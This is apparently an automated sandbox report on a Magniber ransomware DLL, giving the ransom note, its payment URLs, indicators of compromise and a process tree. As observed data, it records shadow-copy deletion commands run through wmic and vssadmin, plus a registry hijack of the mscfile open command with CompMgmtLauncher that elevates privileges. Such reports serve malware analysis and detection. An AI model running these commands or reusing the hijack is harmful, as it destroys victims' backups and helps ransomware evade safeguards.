magniber | 4f928d4bb28ac45b5d8a7ac8c0a4822dc23a4815a31bc4b4b2dd6ab34cb32a9b

Analysis

max time kernel
142s
max time network
158s
platform
windows7_x64
resource
win7v20210408
submitted
29-08-2021 11:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4.dll
Size

38KB
MD5

20dc89faf3ec56190b7eeb2e31807e42
SHA1

7cf5f418a3fa466fadde536fb52c5df9594fb319
SHA256

4f928d4bb28ac45b5d8a7ac8c0a4822dc23a4815a31bc4b4b2dd6ab34cb32a9b
SHA512

7433189602bc530c4099ab2e4c2c19c433f6555386e385ea88ae163d5f6b3ab1c2f5dcb9d3101779a428ec669236e4f64ad13ee8ed7ce82a22d6be9bb6869fc9

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://d61084d87c784a7092cytywyhto.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/cytywyhto Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://d61084d87c784a7092cytywyhto.bitslet.uno/cytywyhto http://d61084d87c784a7092cytywyhto.canyour.xyz/cytywyhto http://d61084d87c784a7092cytywyhto.dogper.space/cytywyhto http://d61084d87c784a7092cytywyhto.ballcan.xyz/cytywyhto Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://d61084d87c784a7092cytywyhto.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/cytywyhto

http://d61084d87c784a7092cytywyhto.bitslet.uno/cytywyhto

http://d61084d87c784a7092cytywyhto.canyour.xyz/cytywyhto

http://d61084d87c784a7092cytywyhto.dogper.space/cytywyhto

http://d61084d87c784a7092cytywyhto.ballcan.xyz/cytywyhto

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1248	1964	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1056	1964	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2052	1964	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2436	1964	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2500	1964	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2604	1964	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2748	1964	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2796	1964	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2936	1964	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	860	1964	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	836	1964	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1876	1964	vssadmin.exe	38

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\SuspendLock.tif => C:\Users\Admin\Pictures\SuspendLock.tif.cytywyhto	Explorer.EXE
File renamed	C:\Users\Admin\Pictures\DebugExpand.raw => C:\Users\Admin\Pictures\DebugExpand.raw.cytywyhto	Explorer.EXE
File renamed	C:\Users\Admin\Pictures\InstallFind.raw => C:\Users\Admin\Pictures\InstallFind.raw.cytywyhto	Explorer.EXE
File renamed	C:\Users\Admin\Pictures\RegisterUpdate.raw => C:\Users\Admin\Pictures\RegisterUpdate.raw.cytywyhto	Explorer.EXE
File opened for modification	C:\Users\Admin\Pictures\ProtectRequest.tiff	Explorer.EXE
File renamed	C:\Users\Admin\Pictures\ProtectRequest.tiff => C:\Users\Admin\Pictures\ProtectRequest.tiff.cytywyhto	Explorer.EXE
File renamed	C:\Users\Admin\Pictures\ResumeConnect.png => C:\Users\Admin\Pictures\ResumeConnect.png.cytywyhto	Explorer.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1020 set thread context of 1104	1020	rundll32.exe	13
PID 1020 set thread context of 1172	1020	rundll32.exe	12
PID 1020 set thread context of 1200	1020	rundll32.exe	9

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1876	vssadmin.exe
1056	vssadmin.exe
2052	vssadmin.exe
2500	vssadmin.exe
2604	vssadmin.exe
2748	vssadmin.exe
2936	vssadmin.exe
860	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 5077de45da9cd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6E2369B1-08CD-11EC-BDFA-E2B03292F00A} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000492e0ab15aa3524083c9bb9c3db59c9d0000000002000000000010660000000100002000000094ace8cd77c640185b1916e5a86f0427d5700dc72027c36444d14a60d0550c24000000000e8000000002000020000000c64608f789a23303f8f7d9bb15dd8fe01ac8caf52beb046383cf2bbc1ff8795d20000000d1a2d37ae9f831f0502d9b131dbf31bbfe595287aed5e7bdd239c4b8f42c66a7400000000f8c41fd9c4af0939827d61833254b232149b02dbf74b203033db387bf8bc4fd9dbdef75c2b95cf6d5ed781c2d7d2db05d754e3264dea95d956c642e4b58602a	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000492e0ab15aa3524083c9bb9c3db59c9d000000000200000000001066000000010000200000004d0b92a10e4a4bd139f2a201f269de838266ad726f47f59a55dae0151fbf44e4000000000e800000000200002000000095ba32665a3de86c51adf3cae129286a7989146490a43b64bf83e1955f57efe290000000afca8ece6737ccae1a5ea6c075a0cc0a9c18504b38fc382e219564cf0f308c6b316013129b022c24def2a06f68b46f9a82d4e1da52a3d9459b9c6f4ed1a1c32915abeab8eb568d41d78794f80c13226c82457cbb589283acd3288a69e7a153cc9187f3c46311e6c6d41a87ba70ed29d113636055a39d4b0aaef88a12e1384cd34b7eb4d0ba9c2118e0e2d4dfd29245d7400000001f45905e7773e73fee796cda14dbe235b5e01690000524f0032a6d108b5f2ee88d17d9bfde165520d2ce8461ea34f860d40125ee8963cd1aeae9e74d2685c1f6	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337008871"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1664	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1020	rundll32.exe
1020	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1440	iexplore.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1020	rundll32.exe
1020	rundll32.exe
1020	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	576	wmic.exe
Token: SeSecurityPrivilege	576	wmic.exe
Token: SeTakeOwnershipPrivilege	576	wmic.exe
Token: SeLoadDriverPrivilege	576	wmic.exe
Token: SeSystemProfilePrivilege	576	wmic.exe
Token: SeSystemtimePrivilege	576	wmic.exe
Token: SeProfSingleProcessPrivilege	576	wmic.exe
Token: SeIncBasePriorityPrivilege	576	wmic.exe
Token: SeCreatePagefilePrivilege	576	wmic.exe
Token: SeBackupPrivilege	576	wmic.exe
Token: SeRestorePrivilege	576	wmic.exe
Token: SeShutdownPrivilege	576	wmic.exe
Token: SeDebugPrivilege	576	wmic.exe
Token: SeSystemEnvironmentPrivilege	576	wmic.exe
Token: SeRemoteShutdownPrivilege	576	wmic.exe
Token: SeUndockPrivilege	576	wmic.exe
Token: SeManageVolumePrivilege	576	wmic.exe
Token: 33	576	wmic.exe
Token: 34	576	wmic.exe
Token: 35	576	wmic.exe
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	296	WMIC.exe
Token: SeSecurityPrivilege	296	WMIC.exe
Token: SeTakeOwnershipPrivilege	296	WMIC.exe
Token: SeLoadDriverPrivilege	296	WMIC.exe
Token: SeSystemProfilePrivilege	296	WMIC.exe
Token: SeSystemtimePrivilege	296	WMIC.exe
Token: SeProfSingleProcessPrivilege	296	WMIC.exe
Token: SeIncBasePriorityPrivilege	296	WMIC.exe
Token: SeCreatePagefilePrivilege	296	WMIC.exe
Token: SeBackupPrivilege	296	WMIC.exe
Token: SeRestorePrivilege	296	WMIC.exe
Token: SeShutdownPrivilege	296	WMIC.exe
Token: SeDebugPrivilege	296	WMIC.exe
Token: SeSystemEnvironmentPrivilege	296	WMIC.exe
Token: SeRemoteShutdownPrivilege	296	WMIC.exe
Token: SeUndockPrivilege	296	WMIC.exe
Token: SeManageVolumePrivilege	296	WMIC.exe
Token: 33	296	WMIC.exe
Token: 34	296	WMIC.exe
Token: 35	296	WMIC.exe
Token: SeIncreaseQuotaPrivilege	576	wmic.exe
Token: SeSecurityPrivilege	576	wmic.exe
Token: SeTakeOwnershipPrivilege	576	wmic.exe
Token: SeLoadDriverPrivilege	576	wmic.exe
Token: SeSystemProfilePrivilege	576	wmic.exe
Token: SeSystemtimePrivilege	576	wmic.exe
Token: SeProfSingleProcessPrivilege	576	wmic.exe
Token: SeIncBasePriorityPrivilege	576	wmic.exe
Token: SeCreatePagefilePrivilege	576	wmic.exe
Token: SeBackupPrivilege	576	wmic.exe
Token: SeRestorePrivilege	576	wmic.exe
Token: SeShutdownPrivilege	576	wmic.exe
Token: SeDebugPrivilege	576	wmic.exe
Token: SeSystemEnvironmentPrivilege	576	wmic.exe
Token: SeRemoteShutdownPrivilege	576	wmic.exe
Token: SeUndockPrivilege	576	wmic.exe
Token: SeManageVolumePrivilege	576	wmic.exe
Token: 33	576	wmic.exe
Token: 34	576	wmic.exe
Token: 35	576	wmic.exe
Token: SeIncreaseQuotaPrivilege	296	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1200	Explorer.EXE
1440	iexplore.exe
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1440	iexplore.exe
1440	iexplore.exe
920	IEXPLORE.EXE
920	IEXPLORE.EXE
920	IEXPLORE.EXE
920	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 1664	1200	Explorer.EXE	29
PID 1200 wrote to memory of 1664	1200	Explorer.EXE	29
PID 1200 wrote to memory of 1664	1200	Explorer.EXE	29
PID 1200 wrote to memory of 1668	1200	Explorer.EXE	30
PID 1200 wrote to memory of 1668	1200	Explorer.EXE	30
PID 1200 wrote to memory of 1668	1200	Explorer.EXE	30
PID 1200 wrote to memory of 576	1200	Explorer.EXE	31
PID 1200 wrote to memory of 576	1200	Explorer.EXE	31
PID 1200 wrote to memory of 576	1200	Explorer.EXE	31
PID 1200 wrote to memory of 860	1200	Explorer.EXE	34
PID 1200 wrote to memory of 860	1200	Explorer.EXE	34
PID 1200 wrote to memory of 860	1200	Explorer.EXE	34
PID 860 wrote to memory of 296	860	cmd.exe	36
PID 860 wrote to memory of 296	860	cmd.exe	36
PID 860 wrote to memory of 296	860	cmd.exe	36
PID 1668 wrote to memory of 1440	1668	cmd.exe	37
PID 1668 wrote to memory of 1440	1668	cmd.exe	37
PID 1668 wrote to memory of 1440	1668	cmd.exe	37
PID 1248 wrote to memory of 1400	1248	cmd.exe	44
PID 1248 wrote to memory of 1400	1248	cmd.exe	44
PID 1248 wrote to memory of 1400	1248	cmd.exe	44
PID 1400 wrote to memory of 1416	1400	CompMgmtLauncher.exe	47
PID 1400 wrote to memory of 1416	1400	CompMgmtLauncher.exe	47
PID 1400 wrote to memory of 1416	1400	CompMgmtLauncher.exe	47
PID 1440 wrote to memory of 920	1440	iexplore.exe	50
PID 1440 wrote to memory of 920	1440	iexplore.exe	50
PID 1440 wrote to memory of 920	1440	iexplore.exe	50
PID 1440 wrote to memory of 920	1440	iexplore.exe	50
PID 1172 wrote to memory of 2324	1172	Dwm.exe	54
PID 1172 wrote to memory of 2324	1172	Dwm.exe	54
PID 1172 wrote to memory of 2324	1172	Dwm.exe	54
PID 1172 wrote to memory of 2336	1172	Dwm.exe	55
PID 1172 wrote to memory of 2336	1172	Dwm.exe	55
PID 1172 wrote to memory of 2336	1172	Dwm.exe	55
PID 2336 wrote to memory of 2380	2336	cmd.exe	58
PID 2336 wrote to memory of 2380	2336	cmd.exe	58
PID 2336 wrote to memory of 2380	2336	cmd.exe	58
PID 2436 wrote to memory of 2464	2436	cmd.exe	61
PID 2436 wrote to memory of 2464	2436	cmd.exe	61
PID 2436 wrote to memory of 2464	2436	cmd.exe	61
PID 2464 wrote to memory of 2536	2464	CompMgmtLauncher.exe	64
PID 2464 wrote to memory of 2536	2464	CompMgmtLauncher.exe	64
PID 2464 wrote to memory of 2536	2464	CompMgmtLauncher.exe	64
PID 1104 wrote to memory of 2656	1104	taskhost.exe	68
PID 1104 wrote to memory of 2656	1104	taskhost.exe	68
PID 1104 wrote to memory of 2656	1104	taskhost.exe	68
PID 1104 wrote to memory of 2668	1104	taskhost.exe	69
PID 1104 wrote to memory of 2668	1104	taskhost.exe	69
PID 1104 wrote to memory of 2668	1104	taskhost.exe	69
PID 2668 wrote to memory of 2720	2668	cmd.exe	72
PID 2668 wrote to memory of 2720	2668	cmd.exe	72
PID 2668 wrote to memory of 2720	2668	cmd.exe	72
PID 2796 wrote to memory of 2840	2796	cmd.exe	77
PID 2796 wrote to memory of 2840	2796	cmd.exe	77
PID 2796 wrote to memory of 2840	2796	cmd.exe	77
PID 2840 wrote to memory of 2884	2840	CompMgmtLauncher.exe	78
PID 2840 wrote to memory of 2884	2840	CompMgmtLauncher.exe	78
PID 2840 wrote to memory of 2884	2840	CompMgmtLauncher.exe	78
PID 1020 wrote to memory of 2984	1020	rundll32.exe	82
PID 1020 wrote to memory of 2984	1020	rundll32.exe	82
PID 1020 wrote to memory of 2984	1020	rundll32.exe	82
PID 1020 wrote to memory of 2996	1020	rundll32.exe	84
PID 1020 wrote to memory of 2996	1020	rundll32.exe	84
PID 1020 wrote to memory of 2996	1020	rundll32.exe	84

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\4.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1020
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2984
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    PID:2996
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:3060
- C:\Windows\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1664
- C:\Windows\system32\cmd.exe
  cmd /c "start http://d61084d87c784a7092cytywyhto.bitslet.uno/cytywyhto^&1^&46770499^&67^&327^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://d61084d87c784a7092cytywyhto.bitslet.uno/cytywyhto&1&46770499&67&327&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1440 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:920
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:576
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:296

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2324
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2380

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2656
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2720

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1416

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1056

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1060

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2052

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2536

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2500

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2604

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2748

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2884

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2936

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:860

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
